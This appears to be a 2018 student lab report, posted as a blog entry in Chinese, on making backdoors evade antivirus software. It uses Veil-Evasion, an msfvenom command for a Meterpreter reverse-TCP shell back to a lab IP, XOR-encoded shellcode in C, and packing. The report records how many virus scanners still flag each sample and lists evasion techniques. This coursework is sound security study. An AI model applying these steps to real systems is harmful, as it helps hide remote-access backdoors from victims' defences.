Exp3 免杀原理与实践

一、实验内容

  1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

  1.2 通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

1.首先使用360对电脑进行了检测,成功发现了上次实验做出的后门。

添加信任以后放在 http://www.virscan.org/上扫描,由于文件名不被允许,我将自己的学号去掉了,下图是结果。

结果19个发现病毒,还是很多的。

2.Veil evasion

随后使用Veil evasion生成后门程序,这是一个很痛苦的过程,我安装了一个下午,又是换源换网站,或者直接下载,或者克隆下载安装了好多次,还是无法运行,极为难受,

多次失败后删除的文件。。

 

还好第二天老师就告诉了解决方法,按要求注释了两行代码,终于可以用了。

使用Veil生成好了程序,传到了Windows中(ps20.252.bat为失败品)

在Windows上打开并回连

连接成功

随后把文件上传到网站检测

6个发现病毒,Veil果然不错。

3.c语言调用shellcode

kali 输入代码msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.129.129 LPORT=1208 -f c(图片有一点错误,使用了Windows的ip,后来由于失败意识到已经改正)

将生成的那段shellcode存入了一个.c文件,传至Windows。(qq邮箱传的。。。)

然后在codeblocks中打开添加代码对数据进行异或,然后编译

依旧回连,成功。。

把文件名从我的学号改成我的名字>congliyu1.exe,上传至网站检测。

虽然有九个发现病毒,不过相比室友的相同做法做的结果竟然好了太多,自己也很吃惊

然后同样用邮箱传回虚拟机进行加壳

传回来再检测

减少到了七个,还是有用处的

三、基础问题回答

(1)杀软是如何检测出恶意代码的?

基于特征码的检测,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测,从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

  (2)免杀是做什么?

免杀的方法是针对检测技术的。

免杀就是让安插的后门不被AV软件发现

  (3)免杀的基本方法有哪些?

所以总体技术有:

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

四、实验总结与体会

       这次实验做的比上次要久,前前后后做了好几波,因为Veil的问题,使我一个下午都在安装Veil,还没成功,最后被迫开始做C语言生成shellcode,不过当时精神已经崩溃,做了一会儿只能先休息了,好在没多久老师就发布了解决办法。随后在实验中也不是很顺利,代码与ip地址输入错误,总之遇到很多麻烦,不过这也让我印象深刻,通过这些过程熟练使用了msf编码器,veil-evasion, shellcode编程等免杀工具,也意识到杀毒软件其实也并不是很靠谱,想要免杀的方法多种多样,所以自己要多加小心。

五、与实战还缺什么技术和步骤

比较出名的主流编码加壳平台程序都是可以被杀毒软件检测到的,因此实战还是要自己操作编码,这需要的知识就太多了,同时能瞒过杀毒软件进行传输文件也是极为困难的,真正厉害的杀软还是让人比较绝望的。

 

posted on 2018-04-10 15:20  丛俐宇  阅读(117)  评论(0编辑  收藏